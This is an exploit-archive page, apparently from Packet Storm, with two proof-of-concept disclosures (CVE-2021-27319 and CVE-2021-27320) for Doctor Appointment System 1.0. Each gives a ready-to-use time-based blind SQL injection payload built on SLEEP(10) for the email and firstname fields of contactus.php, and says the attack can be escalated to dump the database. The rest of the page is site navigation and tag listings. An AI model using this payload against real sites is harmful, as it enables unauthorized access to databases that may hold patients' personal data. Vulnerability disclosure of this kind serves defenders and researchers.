Doctor Appointment System 1.0 Blind SQL Injection

Authored by Nakul Ratti

Posted Mar 3, 2021

Doctor Appointment System version 1.0 suffers from remote blind SQL injection vulnerabilities in the firstname and email parameters.

tags | exploit, remote, vulnerability, sql injection
advisories | CVE-2021-27319, CVE-2021-27320
SHA-256 | ed56c61666ca89a4a9879405707eebed24489553b6297adbcdf510808c20e385 Download | Favorite | View

Related Files

Change Mirror Download

```
# Exploit Title: Doctor Appointment System 1.0 Blind SQL injection in email parameter
# Date: 03-03-2021
# CVE: CVE-2021-27319
# Exploit Author: Nakul Ratti
# Vendor Homepage:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Software Link:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Version: V1.0

Vulnerable File:
----------------
http://host/doctorappointment/contactus.php
<http://host/patient/search_result.php>

Vulnerable Issue:
-----------------
email parameter has no input validation

POC:
----
1] Navigate to http://host/doctorappointment/contactus.php
2] In the email parameter enter following payload to exploit blind SQL
Injection: '+AND+(SELECT+7827+FROM+(SELECT(SLEEP(10))xEII)+AND+'1'%3d'1
3] This can further be escalated to dump sensitive information from the
database
------------------

# Exploit Title: Doctor Appointment System 1.0 Blind SQL injection in firstname parameter
# Date: 03-03-2021
# CVE: CVE-2021-27320
# Exploit Author: Nakul Ratti
# Vendor Homepage:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Software Link:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Version: V1.0

Vulnerable File:
----------------
http://host/doctorappointment/contactus.php
<http://host/patient/search_result.php>

Vulnerable Issue:
-----------------
firstname parameter has no input validation

POC:
----
1] Navigate to http://host/doctorappointment/contactus.php
2] In the firstname parameter enter following payload to exploit blind SQL
Injection: '+AND+(SELECT+7827+FROM+(SELECT(SLEEP(10))xEII)+AND+'1'%3d'1
3] This can further be escalated to dump sensitive information from the
database
------------------
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed